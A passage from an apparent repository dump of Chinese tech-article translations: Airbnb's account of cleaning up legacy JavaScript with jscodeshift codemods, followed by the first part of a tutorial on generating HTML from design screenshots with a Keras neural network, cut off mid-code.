开发\n\n在花园里耕耘乐趣无穷，但如果除草不勤，最后收获可能是一团揪心。漏掉一次除草本身可能并无大碍，但积少成多最后会毁掉整座花园。没有杂草的花园让维护工作神清气爽。这个道理对代码库也类似。\n\n我通常讨厌除草，经常忘记这事的结果就是一团糟。谢天谢地在编程界有像 [ESLint](http://eslint.org/) 和 [SCSS-Lint](https://github.com/brigade/scss-lint) 这样的好东西提醒我们勤理代码。但是如果面对的是大段大段的历史代码，光是想想要手动调整成百十千万的空格和逗号，悲伤便逆流成河。\n\n8年来有几百万行 JavaScript 代码进入 Airbnb 的版本控制系统中。同时，前端界风起云涌。新功能，新框架，甚至 JavaScript 本身都在快速进化。尽管遵循[良好的代码风格](https://github.com/airbnb/javascript)会让变革少些疼痛，但还是很容易累积出不再遵循最新\"最佳实践\"的巨大代码库。每一处代码风格的不一致都是一棵杂草，唯一归宿就是被铲掉，化作春泥更护花，好让开发团队保持高效。来看看我们花园现在的样子：\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f3j83hmmrij30jk0dvjsn.jpg)\n\n我执着于增加团队效率，也深知保持一致性的代码能增速团队反馈和减少无效沟通。我们最近开始了一个整理代码的项目，准备把许多陈旧的 JavaScript 代码转化得符合我们的代码风格，亦使我们的代码检验器有更多用武之地。若全都手动完成，会是件十分无聊和耗时的苦差，所以我们借助工具帮我们自动化此工作。虽说使用 _`eslint -fix`_ 是个不错的开始，但[它现在所能有限](https://github.com/eslint/eslint/issues/5329)。尽管他们[最近开始接受修复所有规则的PR](https://twitter.com/geteslint/status/723909416957829122)，也准备[构建 JavaScript 的具体语法树](https://github.com/cst/cst)，但等这些功能完成还需要些时间。感谢上苍我们发现了 Facebook 的 [jscodeshift](https://github.com/facebook/jscodeshift)，这是一个重构工具（协助大型代码库的自动化重构）。如果代码库是个花园，那么 jscodeshift 就像个除草机器人。\n\n此工具将 JavaScript 解析为一棵 [抽象语法树](https://en.wikipedia.org/wiki/Abstract_syntax_tree)，并在其上进行变换，然后输出符合指定代码风格的新 JavaScript 代码。转换过程是用 JavaScript 本身实现的，所以我们团队很乐意使用此工具。寻找或是创建转换代码能加速我们乏味的重构，让我们团队能够专注于更有意义的工作。\n\n运行几个代码重构件后，我们的花园整洁了点：\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f3j9ybpgazj20je0flwfm.jpg)\n\n### 策略\n\n鉴于多数重构件能在一分钟内处理上千文件，我发现它是我打发主要工作的等待间隙（例如等代码审查）的不错选择。它帮我最大化提升了工作效率从而让我能在更大和更重要的项目中有所建树。\n\n大规模重构主要面临四大挑战。沟通、正确性、代码审查以及冲突合并。我采取以下策略来应对这些挑战。\n\n重构件不总是能产出我需要的结果，因此对其结果的审查和改动十分重要。以下命令在跑完重构件后很有用：\n\n    git diff\n    git add --patch\n    git checkout --patch\n\n保持每个提交和 PR 在小的体量是好的做法，对于重构件也不例外。我通常一段时间内进行一类重构，减少代码审查和冲突合并的麻烦。我亦经常让重构件自动提交重构结果，而后若有必要，再手动清理。这样在衍合分支时解决冲突会轻松点，因为我可以使用\n\n    git checkout --ours path/to/conflict\n\n然后在那个文件上再运行一次重构件，之后也不会弄乱我自己的手动提交。\n\n有时重构件生成了很大的变动，我觉得在此情况下根据目录或文件名来分成数次提交或 PR 会比较好。例如，一个提交重构 .js 文件，另一个提交重构.jsx 文件。这样之后代码审查和冲突合并会相对轻松一点。谨遵 [Unix 哲学](https://en.wikipedia.org/wiki/Unix_philosophy)，分批进行文件重构简单到仅需调整 _`find`_ 命令的参数：\n\n    find app/assets/javascripts -name *.jsx -not -path */vendor/* | \\\n      xargs jscodeshift -t ~/path/to/transform.js\n\n为避免和别人的代码冲突，我通常在周五早上才推送我的重构件生成的提交，然后周一赶在大家开始工作之前进行衍合和合并。这样其他人周末放假前不被你的重构件阻碍，能好好整理自己的工作成果。\n\n### 我们用得顺手的重构件\n\n虽然此工具还比较新，已然有了一些实用的重构件。以下是一些我们成功上手了的。\n\n#### 轻量级重构件\n\n以下是些用着不那么痛苦的，立刻上手感受成效。\n\n[**js-codemod/arrow-function**](https://github.com/cpojer/js-codemod#arrow-function)**:** 谨慎地把函数转为箭头函数\n\n使用前:\n\n    [1, 2, 3].map(function(x) {\n      return x * x;\n    }.bind(this));\n\n使用后:\n\n    [1, 2, 3].map(x => x * x);\n\n[**js-codemod/no-vars**](https://github.com/cpojer/js-codemod#no-vars)**:** 将 _`var'_ 安全转化为 _`const`_ 或 _`let`_。\n\n使用前:\n\n    var belong = 'anywhere';\n\n使用后:\n\n    const belong = 'anywhere';\n\n[**js-codemod/object-shorthand**](https://github.com/cpojer/js-codemod#object-shorthand)**:** 把对象字面量转为 ES6 的简写表示。\n\n使用前:\n\n    const things = {\n      belong: belong,\n      anywhere: function() {},\n    };\n\n使用后:\n\n    const things = {\n      belong,\n      anywhere() {},\n    };\n\n[**js-codemod/unchain-variables**](https://github.com/cpojer/js-codemod#unchain-variables)**:** 分离连续声明的变量。\n\n使用前:\n\n    const belong = 'anywhere', welcome = 'home';\n\n使用后:\n\n    const belong = 'anywhere';\n    const welcome = 'home';\n\n[**js-codemod/unquote-properties**](https://github.com/cpojer/js-codemod#unquote-properties)**:** 移除对象属性的引号。\n\n使用前:\n\n    const things = {\n      'belong': 'anywhere',\n    };\n\n使用后:\n\n    const things = {\n      belong: 'anywhere',\n    };\n\n#### 重量级重构件\n\n以下重构件或是改动很多代码引发合并和冲突之痛，或是需要更多后续的手动更改以保证代码还能看得下去。\n\n[**react-codemod/class**](https://github.com/reactjs/react-codemod#class)**:** 把 _`React.createClass`_ 转为 ES6 class 的实现。\n\n此重构件在有 mixin 的时候不会变换，在类似于 _`propTypes`_、默认 props 和 initial state 定义这样的必要转换做得很好，还能将事件回调函数绑定到构造器上。\n\n使用前:\n\n    const BelongAnywhere = React.createClass({\n      // ...\n    });\n\n使用后:\n\n    class BelongAnywhere extends React.Component {\n      // ...\n    }\n\n[**react-codemod/sort-comp**](https://github.com/reactjs/react-codemod#sort-comp)**:** 根据 [ESLint react/sort-comp rule](https://github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/sort-comp.md) 重新组织 React component 的方法声明顺序。\n\n这个会调整大量代码，git 不会自动合并冲突。我觉得在使用此重构件前最好最好跟队友打个招呼，在不太容易发生冲突的时候（例如周末）进行重构。当我衍合此重构的提交且遇上冲突的时候，我会：\n\n    git checkout --ours path/to/conflict\n\n然后再运行一次重构件。\n\n使用前:\n\n    class BelongAnywhere extends React.Component {\n      render() {\n        return <div>Belong Anywhere</div>;\n      }\n\n      componentWillMount() {\n          console.log('Welcome home');\n        }\n      }\n\n使用后:\n\n    class BelongAnywhere extends React.Component {\n      componentWillMount() {\n        console.log('Welcome home');\n      }\n\n     render() {\n        return <div>Belong Anywhere</div>;\n      }\n    }\n\n[**js-codemod/template-literals**](https://github.com/cpojer/js-codemod#template-literals)**:** 把字符串的串联转换为字符串模板字面量表示。\n\n因为我们多处用到字符串串联，而且这个重构件尽其所能把所有字符串都转成模板，我发现很多转换结果其实并不合理。我之所以这个重构件放到\"重量级\"列表里，是因为它会改动很多文件，而且之后我们还得进行大量的手动修改才能得到满意的结果。\n\n使用前:\n\n    const belong = 'anywhere '+ welcomeHome;\n\n使用后:\n\n    const belong = `anywhere ${welcomeHome}`;\n\n### 资源\n\n若你想写自己的重构件，或是看看它能做什么，可以看下下面的资源。\n\n*   [逐步改进复杂系统](https://www.youtube.com/watch?v=d0pOgY8__JM)：来自 Christoph Pojer 于 JSConf EU 2015 上关于 Facebook 的重构件的演讲。（亦可见[高效的 JavaScript 重构件](https://medium.com/@cpojer/effective-javascript-codemods-5a6686bb46fb)）。\n*   [如何写重构件](https://vramana.github.io/blog/2015/12/21/codemod-tutorial/): 带你写一个把字符串串联转化为字符串模板字面量的重构件的教程。\n*   [AST 探索](https://astexplorer.net/): 可查看由多种语法分析程序产生的 AST 的工具。好东西，可以查看你想转换的代码的 AST。\n*   [NFL ♥ C重构件: 海量代码迁移](https://medium.com/nfl-engineers/nfl-codemods-migrating-a-monolith-1e3363571707): 关于 NFL 如何使用重构件的一个使用案例。\n*   [react-codemod](https://github.com/reactjs/react-codemod): 一系列关于 React 的重构件。\n*   [js-codemod](https://github.com/cpojer/js-codemod): 一系列常用的 JavaScript 重构件。\n\n### 影响\n\n在使用了一些现成的和我们自己写的并贡献给社区的重构件之后，我们的旧代码质量获得很大的提升。我不费吹灰之力便重构了40000行代码，将旧代码调整至符合 ES6 代码风格。花园焕然一新，我们之后的工作也更有效率和乐趣。\n\n使用已有的重构件仅是牛刀小试，只有在你拿起键盘写出自己的重构件时，真正的能量才会释放。无论是对代码风格重构，或是对失效 API 的调整，重构件都能大显身手，你可以尽情想象发挥。这些技术值得学习投入，能省下你和使用你的项目使用者很多时间精力。\n"
  },
  {
    "path": "TODO/turning-design-mockups-into-code-with-deep-learning-1.md",
    "content": "> * 原文地址：[Turning Design Mockups Into Code With Deep Learning - Part 1](https://blog.floydhub.com/turning-design-mockups-into-code-with-deep-learning/)\n> * 原文作者：[Emil Wallner](https://twitter.com/EmilWallner)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-1.md)\n> * 译者：[sakila1012](https://github.com/sakila1012)\n> * 校对者：[sunshine940326](https://github.com/sunshine940326)，[wzy816](https://github.com/wzy816)\n\n# 使用深度学习自动生成 HTML 代码 - 第 1 部分\n\n- [使用深度学习自动生成HTML代码 - 第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-1.md)\n- [使用深度学习自动生成HTML代码 - 第 2 部分](https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-2.md)\n\n在未来三年来，深度学习将改变前端的发展。它将会加快原型设计的速度和降低开发软件的门槛。\n\nTony Beltramelli 去年发布了[pix2code 论文](https://arxiv.org/abs/1705.07962)，Airbnb 也发布了 [sketch2code](https://airbnb.design/sketching-interfaces/)。\n\n目前，自动化前端开发的最大屏障是计算能力。但我们可以使用目前的深度学习算法，以及合成训练数据来探索人工智能前端自动化的方法。\n\n在本文中，作者将教大家神经网络学习如何基于一张图片和一个设计原型来编写一个 HTML 和 CSS 网站。下面是该过程的简要概述：\n\n### 1) 向训练的神经网络输入一个设计图\n\n![](https://blog.floydhub.com/static/image_to_notebookfile-3354b407064e4d95a0217612a5463434-6c1a3.png)\n\n### 2) 神经网络将图片转换为 HTML 标记语言\n\n![](/generate_html_markup-b6ceec69a7c9cfd447d188648049f2a4.gif)\n\n### 3) 渲染输出\n\n![](https://blog.floydhub.com/static/render_example-4c9df7e5e8bb455c71dd7856acca7aae-6c1a3.png)\n\n我们将分三个版本来构建神经网络。\n\n在第 1 个版本，我们构建最简单地版本来掌握移动部分。第 2 个版本，HTML 专注于自动化所有步骤，并简要神经网络层。最后一个 Bootstrap 版本，我们将创建一个模型来思考和探索 LSTM 层。\n\n所有的代码准备在 [Github](https://github.com/emilwallner/Screenshot-to-code-in-Keras/blob/master/README.md) 上和在 Jupyter 笔记本上的 [FloydHub](https://www.floydhub.com/emilwallner/projects/picturetocode)。所有 FloydHub notebook 都在 floydhub 目录中，本地 notebook 在 local 目录中。\n\n本文中的模型构建是基于 Beltramelli 的论文 [pix2code](https://arxiv.org/abs/1705.07962) 和 Jason Brownlee 的[图像描述生成教程](https://machinelearningmastery.com/blog/page/2/)。代码是由 Python 和 Keras 编写，使用 TensorFolw 框架。\n\n如果你是深度学习的新手，我建议你尝试使用下 Python，反向传播和卷积神经网络。可以从我早期个在 FloyHub 博客上发表的文章开始学习 [[1]](https://blog.floydhub.com/my-first-weekend-of-deep-learning/) [[2]](https://blog.floydhub.com/coding-the-history-of-deep-learning/) [[3]](https://blog.floydhub.com/colorizing-b&w-photos-with-neural-networks/)。\n\n## 核心逻辑\n\n让我们回顾一下我们的目标。我们的目标是构建一个神经网络，能够生成与截图对应的 HTML/CSS。\n\n当你训练神经网络时，你先提供几个截图和对应的 HTML 代码。\n\n网络通过逐个预测所有匹配的 HTML 标记语言来学习。预测下一个标记语言的标签时，网络接收到截图和之前所有正确的标记。\n\n这里是一个在 Google Sheet [简单的训练数据示例](https://docs.google.com/spreadsheets/d/1xXwarcQZAHluorveZsACtXRdmNFbwGtN3WMNhcTdEyQ/edit?usp=sharing)。\n\n创建逐词预测的模型是现在最常用的方法。这里也有[其他方法](https://docs.google.com/spreadsheets/d/1xXwarcQZAHluorveZsACtXRdmNFbwGtN3WMNhcTdEyQ/edit?usp=sharing)，但该方法也是本教程使用的方法。\n\n注意：每次预测时，神经网络接收的是同样的截图。如果网络需要预测 20 个单词，它就会得到 20 次同样的设计截图。现在，不用管神经网络的工作原理，只需要专注于神经网络的输入和输出。\n\n![](https://blog.floydhub.com/static/neural_network_overview-82bea09299f242ad5d6e1236b9661ec6-6c1a3.png)\n\n我们先来看前面的标记（markup）。假如我们训练神经网络的目的是预测句子“I can code”。当网络接收“I”时，预测“can”。下一次时，网络接收“I can”，预测“code”。它接收所有前面的单词，但只预测下一个单词。\n\n![](https://blog.floydhub.com/static/input_and_output_data-555f7b04c75a202041f0a4438af5cd51-6c1a3.png)\n\n神经网络根据数据创建特征。神经网络构建特征以连接输入数据和输出数据。它必须创建表征来理解每个截图的内容和它所需要预测的 HTML 语法，这些都是为预测下一个标记构建知识。\n\n把训练好的模型应用到真实世界中和模型训练过程差不多。我们无需输入正确的 HTML 标记，网络会接收它目前生成的标记，然后预测下一个标记。预测从「起始标签」（start tag）开始，到「结束标签」（end tag）终止，或者达到最大限制时终止\n\n![](https://blog.floydhub.com/static/model_prediction-801ad7af1d2205276ba64fdc6d7c7ec8-6c1a3.png)\n\n## **Hello World 版本**\n\n现在让我们构建 Hello World 版实现。我们将发送一张带有「Hello World！」字样的截屏到神经网络中，并训练它生成对应的标记语言。\n\n![](/hello_world_generation-039d78c27eb584fa639b89d564b94772.gif)\n\n首先，神经网络将原型设计转换为一组像素值。且每一个像素点有 RGB 三个通道，每个通道的值都在 0-255 之间。\n\n![](https://blog.floydhub.com/static/website_pixels-6f11057880ea91a87ddc087c27d063a7-6c1a3.png)\n\n为了以神经网络能理解的方式表征这些标记，我使用了 [one-hot 编码](https://machinelearningmastery.com/how-to-one-hot-encode-sequence-data-in-python/)。因此句子「I can code」可以映射为以下形式。\n\n![](https://blog.floydhub.com/static/one_hot_encoding-2a72d2b794b26e6e4c4cc9c5f8bd4649-6c1a3.png)\n\n在上图中，我们的编码包含了开始和结束的标签。这些标签能为神经网络提供开始预测和结束预测的位置信息。\n\n对于输入的数据，我们使用语句，从第一个单词开始，然后依次相加。输出的数据总是一个单词。\n\n语句和单词的逻辑一样。这也需要同样的输入长度。他们没有被词汇限制，而是受句子长度的限制。如果它比最大长度短，你用空的单词填充它，一个只有零的单词。\n\n![](https://blog.floydhub.com/static/one_hot_sentence-6b3c930c8a7808b928639201cac78ebe-6c1a3.png) \n\n正如你所看到的，单词是从右到左打印的。对于每次训练，强制改变每个单词的位置。这需要模型学习序列而不是记住每个单词的位置。\n\n在下图中有四个预测。每一列是一个预测。左边是颜色呈现的三个颜色通道：红绿蓝和上一个单词。在括号外面，预测是一个接一个，以红色的正方形表示结束。\n\n![](https://blog.floydhub.com/static/model_function-068c180c2ba3efdbb54193f21a5d5d7d-6c1a3.png) \n\n```\n    #Length of longest sentence\n    max_caption_len = 3\n    #Size of vocabulary \n    vocab_size = 3\n\n    # Load one screenshot for each word and turn them into digits \n    images = []\n    for i in range(2):\n        images.append(img_to_array(load_img('screenshot.jpg', target_size=(224, 224))))\n    images = np.array(images, dtype=float)\n    # Preprocess input for the VGG16 model\n    images = preprocess_input(images)\n\n    #Turn start tokens into one-hot encoding\n    html_input = np.array(\n                [[[0., 0., 0.], #start\n                 [0., 0., 0.],\n                 [1., 0., 0.]],\n                 [[0., 0., 0.], #start <HTML>Hello World!</HTML>\n                 [1., 0., 0.],\n                 [0., 1., 0.]]])\n\n    #Turn next word into one-hot encoding\n    next_words = np.array(\n                [[0., 1., 0.], # <HTML>Hello World!</HTML>\n                 [0., 0., 1.]]) # end\n\n    # Load the VGG16 model trained on imagenet and output the classification feature\n    VGG = VGG16(weights='imagenet', include_top=True)\n    # Extract the features from the image\n    features = VGG.predict(images)\n\n    #Load the feature to the network, apply a dense layer, and repeat the vector\n    vgg_feature = Input(shape=(1000,))\n    vgg_feature_dense = Dense(5)(vgg_feature)\n    vgg_feature_repeat = RepeatVector(max_caption_len)(vgg_feature_dense)\n    # Extract information from the input seqence \n    language_input = Input(shape=(vocab_size, vocab_size))\n    language_model = LSTM(5, return_sequences=True)(language_input)\n\n    # Concatenate the information from the image and the input\n    decoder = concatenate([vgg_feature_repeat, language_model])\n    # Extract information from the concatenated output\n    decoder = LSTM(5, return_sequences=False)(decoder)\n    # Predict which word comes next\n    decoder_output = Dense(vocab_size, activation='softmax')(decoder)\n    # Compile and run the neural network\n    model = Model(inputs=[vgg_feature, language_input], outputs=decoder_output)\n    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n\n    # Train the neural network\n    model.fit([features, html_input], next_words, batch_size=2, shuffle=False, epochs=1000)\n```\n在 Hello World 版本中，我们使用三个符号「start」、「Hello World」和「end」。字符级的模型要求更小的词汇表和受限的神经网络，而单词级的符号在这里可能有更好的性能。\n\n以下是执行预测的代码：\n\n```\n    # Create an empty sentence and insert the start token\n    sentence = np.zeros((1, 3, 3)) # [[0,0,0], [0,0,0], [0,0,0]]\n    start_token = [1., 0., 0.] # start\n    sentence[0][2] = start_token # place start in empty sentence\n\n    # Making the first prediction with the start token\n    second_word = model.predict([np.array([features[1]]), sentence])\n\n    # Put the second word in the sentence and make the final prediction\n    sentence[0][1] = start_token\n    sentence[0][2] = np.round(second_word)\n    third_word = model.predict([np.array([features[1]]), sentence])\n\n    # Place the start token and our two predictions in the sentence \n    sentence[0][0] = start_token\n    sentence[0][1] = np.round(second_word)\n    sentence[0][2] = np.round(third_word)\n\n    # Transform our one-hot predictions into the final tokens\n    vocabulary = [\"start\", \"<HTML><center><H1>Hello World!</H1></center></HTML>\", \"end\"]\n    for i in sentence[0]:\n        print(vocabulary[np.argmax(i)], end=' ')\n```\n\n## 输出\n\n* **10 epochs:** `start start start`\n* **100 epochs:** `start <HTML><center><H1>Hello World!</H1></center></HTML> <HTML><center><H1>Hello World!</H1></center></HTML>`\n* **300 epochs:** `start <HTML><center><H1>Hello World!</H1></center></HTML> end`\n\n\n* **在收集数据之前构建第一个版本。**在本项目的早期阶段，我设法获得 Geocities 托管网站的旧版存档，它有 3800 万的网站。但我忽略了减少 100K 大小词汇所需要的巨大工作量。\n\n* **处理一个 TB 级的数据需要优秀的硬件或极其有耐心。**在我的 Mac 遇到几个问题后，最终用上了强大的远程服务器。我预计租用 8 个现代 CPU 和 1 GPS 内部链接以运行我的工作流。\n\n* **在理解输入与输出数据之前，其它部分都似懂非懂。**输入 X 是屏幕的截图和以前标记的标签，输出 Y 是下一个标记的标签。当我理解这一点时，其它问题都更加容易弄清了。此外，尝试其它不同的架构也将更加容易。\n\n* **注意兔子洞。**由于这个项目与深度学习有关联的，我在这个过程中被很多兔子洞卡住了。我花了一个星期从无到有的编程RNNs，太着迷于嵌入向量空间，并被一些奇奇怪怪的实现方法所诱惑。\n\n* **图片到代码的网络其实就是自动描述图像的模型。**即使我意识到了这一点，但仍然错过了很多自动图像摘要方面的论文，因为它们看起来不够炫酷。一旦我意识到了这一点，我对问题空间的理解就变得更加深刻了。\n\n## 在 FloyHub 上运行代码\n\nFloydHub 是一个深度学习训练平台，我自从开始学习深度学习时就对它有所了解，我也常用它训练和管理深度学习实验。我们可以安装并在 10 分钟内运行第一个模型，它是在云 GPU 上训练模型最好的选择。\n\n如果读者没用过 FloydHub，你可以用[ 2 分钟安装](https://www.floydhub.com/) 或者观看 [5 分钟视频](https://www.youtube.com/watch?v=byLQ9kgjTdQ&t=21s)。\n\n拷贝仓库\n\n```\ngit clone https://github.com/emilwallner/Screenshot-to-code-in-Keras.git\n```\n\n登录并初始化 FloyHub 命令行工具\n\n```\ncd Screenshot-to-code-in-Keras\nfloyd login\nfloyd init s2c\n```\n\n在 FloydHub 云 GPU 机器上运行 Jupyter notebook：\n\n```\nfloyd run --gpu --env tensorflow-1.4 --data emilwallner/datasets/imagetocode/2:data --mode jupyter\n```\n\n所有的 notebooks 都放在 floydbub 目录下。本地等同于本地目录下。一旦我们开始运行模型，那么在 floydhub/Hello_world/hello_world.ipynb 下可以找到第一个 Notebook。\n\n如果你想了解更多的指南和对 flags 的解释，请查看我[早期的文章](https://blog.floydhub.com/colorizing-b&w-photos-with-neural-networks/)。\n\n## HTML 版本\n\n在这个版本中，我们将从 Hello World 模型自动化很多步骤，并关注与创建一个可扩展的神经网络模型。\n\n该版本并不能直接从随机网页预测 HTML，但它是探索动态问题不可缺少的步骤。\n![](/html_generation-2476413d4299a3a8b407ee9cdb6774b6.gif)\n\n### 概览\n\n如果我们将前面的架构扩展为以下图展示的结构。\n\n![](https://blog.floydhub.com/static/model_more_details-68db3bf26f6df205ffe4c541ace33a92-6c1a3.png) \n\n该架构主要有两个部分。首先，编码器。编码器是我们创建图像特征和前面标记特征（markup features）的地方。特征是网络创建原型设计和标记语言之间联系的构建块。在编码器的末尾，我们将图像特征传递给前面标记的每一个单词。\n\n然后，解码器将结合原型设计特征和标记特征以创建下一个标签的特征，这一个特征可以通过全连接层预测下一个标签。\n\n##### 设计原型的特征\n\n因为我们需要为每个单词插入一个截屏，这将会成为训练神经网络[案例](https://docs.google.com/spreadsheets/d/1xXwarcQZAHluorveZsACtXRdmNFbwGtN3WMNhcTdEyQ/edit#gid=0)的瓶颈。因此我们抽取生成标记语言所需要的信息来替代直接使用图像。\n\n这些抽取的信息将通过预训练的 CNN 编码到图像特征中。这个模型是在 Imagenet 上预先训练好的。\n\n我们将使用分类层之前的层级输出以抽取特征。\n\n![](https://blog.floydhub.com/static/ir2_to_image_features-5455a0516284ac036482417b56a57d49-6c1a3.png) \n\n我们最终得到 1536 个 8x8 的特征图，虽然我们很难直观地理解它，但神经网络能够从这些特征中抽取元素的对象和位置。\n\n##### 标记特征\n\n在 Hello World 版本中，我们使用 one-hot 编码以表征标记。而在该版本中，我们将使用词嵌入表征输入并使用 one-hot 编码表示输出。\n\n我们构建每个句子的方式保持不变，但我们映射每个符号的方式将会变化。one-hot 编码将每一个词视为独立的单元，而词嵌入会将输入数据表征为一个实数列表，这些实数表示标记标签之间的关系。\n\n![](https://blog.floydhub.com/static/embedding-2146c151fd4dbf5dcce6257444931a79-6c1a3.png) \n\n上面词嵌入的维度为 8，但一般词嵌入的维度会根据词汇表的大小在 50 到 500 间变动。\n\n以上每个单词的八个数值就类似于神经网络中的权重，它们倾向于刻画单词之间的联系（[Mikolov alt el., 2013](https://arxiv.org/abs/1301.3781)）。\n\n这就是我们开始部署标记特征（markup features）的方式，而这些神经网络训练的特征会将输入数据和输出数据联系起来。现在，不用担心他们是什么，我们将在下一部分进一步深入挖掘。\n\n### 编码器\n\n我们现在将词嵌入馈送到 LSTM 中，并期望能返回一系列的标记特征。这些标记特征随后会馈送到一个 Time Distributed 密集层，该层级可以视为有多个输入和输出的全连接层。\n\n![](https://blog.floydhub.com/static/encoder-78498407f393e83128abed5eec86dd4c-6c1a3.png) \n\n对于另一个平行的过程，其中图像特征首先会展开成一个向量，然后再馈送到一个全连接层而抽取出高级特征。这些图像特征随后会与标记特征相级联而作为编码器的输出。\n\n这个有点难理解，让我来分步描述一下。\n\n##### 标记特征\n\n如下图所示，现在我们将词嵌入投入到 LSTM 层中，所有的语句都填充上最大的三个记号。\n\n![](https://blog.floydhub.com/static/word_embedding_markup_feature-d4e76483527fefd10742c0ddc1cd3227-6c1a3.png) \n\n为了混合信号并寻找高级模式，我们运用了一个 TimeDistributed 密集层以抽取标记特征。TimeDistributed 密集层和一般的全连接层非常相似，且它有多个输入与输出。\n\n##### 图像特征\n\n同时，我们需要将图像的所有像素值展开成一个向量，因此信息不会被改变，只是重组了一下。\n\n![](https://blog.floydhub.com/static/image_feature_to_image_feature-77a1cf39ed251d4243b90325e60fbdf5-6c1a3.png) \n\n如上，我们会通过全连接层混合信号并抽取更高级的概念。因为我们并不只是处理一个输入值，因此使用一般的全连接层就行了。\n\n在这个案例中，它有三个标记特征。因此，我们最终得到的图像特征和标记特征是同等数量的。\n\n##### 级联图像特征和标记特征\n\n所有的语句都被填充以创建三个标记特征。因为我们已经预处理了图像特征，所以我们能为每一个标记特征添加图像特征。\n\n![](https://blog.floydhub.com/static/concatenate-747c07d8c62a2e026212d20860514188-6c1a3.png) \n\n如上，在复制图像特征到对应的标记特征后，我们得到了三个新的图像-标记特征（image-markup features），这就是我们馈送到解码器的输入值。\n\n### 解码器\n\n现在，我们使用图像-标记特征来预测下一个标签。\n\n![](https://blog.floydhub.com/static/decoder-1592aedab9a95e07a513234aa258d777-6c1a3.png) \n\n在下面的案例中，我们使用三个图像-标签特征对来输出下一个标签特征。\n\n注意 LSTM 层不应该返回一个长度等于输入序列的向量，而只需要预测预测一个特征。在我们的案例中，这个特征将预测下一个标签，它包含了最后预测的信息。\n\n![](https://blog.floydhub.com/static/image-markup-feature_to_vocab-eb39368b3f466914c9383d532675a622-6c1a3.png) \n\n##### 最后的预测\n\n全连接层会像传统前馈网络那样工作，它将下一个标签特征中的 512 个值与最后的四个预测连接起来，即我们在词汇表所拥有的四个单词：start、hello、world 和 end。\n\n词汇的预测值可能是 [0.1, 0.1, 0.1, 0.7]。密集层最后采用的 softmax 激活函数会为四个类别产生一个 0-1 概率分布，所有预测值的和等于 1。在这个案例中，例如将预测第四个词为下一个标签。然后，你可以将 one-hot 编码 [0, 0, 0, 1] 转译成映射的值，也就是 “end”。\n\n```\n    # Load the images and preprocess them for inception-resnet\n    images = []\n    all_filenames = listdir('images/')\n    all_filenames.sort()\n    for filename in all_filenames:\n        images.append(img_to_array(load_img('images/'+filename, target_size=(299, 299))))\n    images = np.array(images, dtype=float)\n    images = preprocess_input(images)\n\n    # Run the images through inception-resnet and extract the features without the classification layer\n    IR2 = InceptionResNetV2(weights='imagenet', include_top=False)\n    features = IR2.predict(images)\n\n    # We will cap each input sequence to 100 tokens\n    max_caption_len = 100\n    # Initialize the function that will create our vocabulary \n    tokenizer = Tokenizer(filters='', split=\" \", lower=False)\n\n    # Read a document and return a string\n    def load_doc(filename):\n        file = open(filename, 'r')\n        text = file.read()\n        file.close()\n        return text\n\n    # Load all the HTML files\n    X = []\n    all_filenames = listdir('html/')\n    all_filenames.sort()\n    for filename in all_filenames:\n        X.append(load_doc('html/'+filename))\n\n    # Create the vocabulary from the html files\n    tokenizer.fit_on_texts(X)\n\n    # Add +1 to leave space for empty words\n    vocab_size = len(tokenizer.word_index) + 1\n    # Translate each word in text file to the matching vocabulary index\n    sequences = tokenizer.texts_to_sequences(X)\n    # The longest HTML file\n    max_length = max(len(s) for s in sequences)\n\n    # Intialize our final input to the model\n    X, y, image_data = list(), list(), list()\n    for img_no, seq in enumerate(sequences):\n        for i in range(1, len(seq)):\n            # Add the entire sequence to the input and only keep the next word for the output\n            in_seq, out_seq = seq[:i], seq[i]\n            # If the sentence is shorter than max_length, fill it up with empty words\n            in_seq = pad_sequences([in_seq], maxlen=max_length)[0]\n            # Map the output to one-hot encoding\n            out_seq = to_categorical([out_seq], num_classes=vocab_size)[0]\n            # Add and image corresponding to the HTML file\n            image_data.append(features[img_no])\n            # Cut the input sentence to 100 tokens, and add it to the input data\n            X.append(in_seq[-100:])\n            y.append(out_seq)\n\n    X, y, image_data = np.array(X), np.array(y), np.array(image_data)\n\n    # Create the encoder\n    image_features = Input(shape=(8, 8, 1536,))\n    image_flat = Flatten()(image_features)\n    image_flat = Dense(128, activation='relu')(image_flat)\n    ir2_out = RepeatVector(max_caption_len)(image_flat)\n\n    language_input = Input(shape=(max_caption_len,))\n    language_model = Embedding(vocab_size, 200, input_length=max_caption_len)(language_input)\n    language_model = LSTM(256, return_sequences=True)(language_model)\n    language_model = LSTM(256, return_sequences=True)(language_model)\n    language_model = TimeDistributed(Dense(128, activation='relu'))(language_model)\n\n    # Create the decoder\n    decoder = concatenate([ir2_out, language_model])\n    decoder = LSTM(512, return_sequences=False)(decoder)\n    decoder_output = Dense(vocab_size, activation='softmax')(decoder)\n\n    # Compile the model\n    model = Model(inputs=[image_features, language_input], outputs=decoder_output)\n    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n\n    # Train the neural network\n    model.fit([image_data, X], y, batch_size=64, shuffle=False, epochs=2)\n\n    # map an integer to a word\n    def word_for_id(integer, tokenizer):\n        for word, index in tokenizer.word_index.items():\n            if index == integer:\n                return word\n        return None\n\n    # generate a description for an image\n    def generate_desc(model, tokenizer, photo, max_length):\n        # seed the generation process\n        in_text = 'START'\n        # iterate over the whole length of the sequence\n        for i in range(900):\n            # integer encode input sequence\n            sequence = tokenizer.texts_to_sequences([in_text])[0][-100:]\n            # pad input\n            sequence = pad_sequences([sequence], maxlen=max_length)\n            # predict next word\n            yhat = model.predict([photo,sequence], verbose=0)\n            # convert probability to integer\n            yhat = np.argmax(yhat)\n            # map integer to word\n            word = word_for_id(yhat, tokenizer)\n            # stop if we cannot map the word\n            if word is None:\n                break\n            # append as input for generating the next word\n            in_text += ' ' + word\n            # Print the prediction\n            print(' ' + word, end='')\n            # stop if we predict the end of the sequence\n            if word == 'END':\n                break\n        return\n\n    # Load and image, preprocess it for IR2, extract features and generate the HTML\n    test_image = 